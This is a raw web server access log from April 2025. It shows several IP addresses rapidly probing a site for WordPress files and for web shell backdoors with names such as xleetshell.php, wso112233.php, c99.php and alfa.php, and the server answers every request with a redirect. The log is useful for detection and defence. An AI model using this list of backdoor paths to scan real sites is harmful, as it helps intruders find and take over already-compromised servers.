52.169.233.48 - - [18/Apr/2025:14:34:31 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:32 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:32 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:33 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:34 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:34 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:35 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:35 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:36 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:36 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:37 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:38 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:38 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:39 -0400] "GET /wp-content/plugins/xt HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:39 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.233.48 - - [18/Apr/2025:14:34:40 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:15:13:52 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:15:14:57 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:15:16:29 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 66.249.64.164 - - [18/Apr/2025:15:40:18 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.163 - - [18/Apr/2025:15:40:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [18/Apr/2025:16:19:06 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:16:19:32 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:16:19:45 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:16:19:50 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:16:20:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 45.128.133.227 - - [18/Apr/2025:17:06:33 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:06:39 -0400] "GET //wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:06:43 -0400] "GET //wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:06:47 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:06:51 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:06:55 -0400] "GET //wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:00 -0400] "GET //wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:05 -0400] "GET //wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:09 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:15 -0400] "GET //wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:19 -0400] "GET //wp-includes/blocks/calendar/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:21 -0400] "GET //wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:26 -0400] "GET //moduless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:31 -0400] "GET //beence.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:33 -0400] "GET //wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:40 -0400] "GET //xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:46 -0400] "GET //wp-admin/css/colors/light/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:07:55 -0400] "GET //wp-admin/css/colors/modern/lofter.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:08:01 -0400] "GET //wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:08:03 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.128.133.227 - - [18/Apr/2025:17:08:08 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.148.10.235 - - [18/Apr/2025:17:09:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0" 162.0.232.217 - - [18/Apr/2025:17:41:34 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:17:42:22 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:17:52:56 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:17:53:19 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.169.29.118 - - [18/Apr/2025:17:53:55 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:53:56 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:53:58 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:00 -0400] "GET /xlt.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:03 -0400] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:06 -0400] "GET /wp-content/xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:07 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:09 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:12 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:14 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:16 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:18 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:20 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:24 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:25 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:27 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:27 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:29 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:30 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:31 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:32 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:33 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:33 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:34 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:36 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:37 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:38 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:39 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:39 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:40 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:40 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:41 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:41 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:42 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:43 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:43 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:44 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:46 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:46 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:47 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:48 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:48 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:49 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:49 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:50 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:51 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:51 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:52 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:53 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:53 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:54 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:55 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:56 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:56 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:57 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:54:58 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:00 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:01 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:02 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:04 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:08 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:12 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:14 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:18 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:20 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:22 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:23 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:24 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:24 -0400] "GET /.well-known/acme-challenge/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:26 -0400] "GET /.well-known/pki-validation/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:27 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:28 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:30 -0400] "GET /wp-content/upgrade/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:31 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:32 -0400] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:33 -0400] "GET /wp-admin/js/widgets/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:34 -0400] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:35 -0400] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:36 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:37 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:38 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:38 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:39 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:39 -0400] "GET /wp-content/uploads/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:40 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:41 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:43 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:44 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:45 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:45 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:46 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:46 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:47 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:48 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:48 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:49 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:51 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:53 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:54 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:55 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:56 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:57 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:57 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:58 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:59 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:55:59 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:00 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:00 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:01 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:03 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:03 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:04 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:05 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:06 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:07 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:07 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:08 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:09 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:10 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:11 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:12 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:14 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:14 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:15 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:16 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:17 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:18 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:19 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:19 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:20 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:21 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:22 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:23 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:23 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:24 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:24 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:25 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:25 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:26 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:26 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:27 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:28 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:28 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:28 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:29 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:29 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:30 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:30 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:30 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:31 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:31 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:32 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:32 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:33 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:33 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:34 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:35 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:35 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:35 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:36 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:36 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:37 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:37 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:38 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:38 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:39 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:39 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:39 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:40 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:40 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:41 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:17:56:41 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 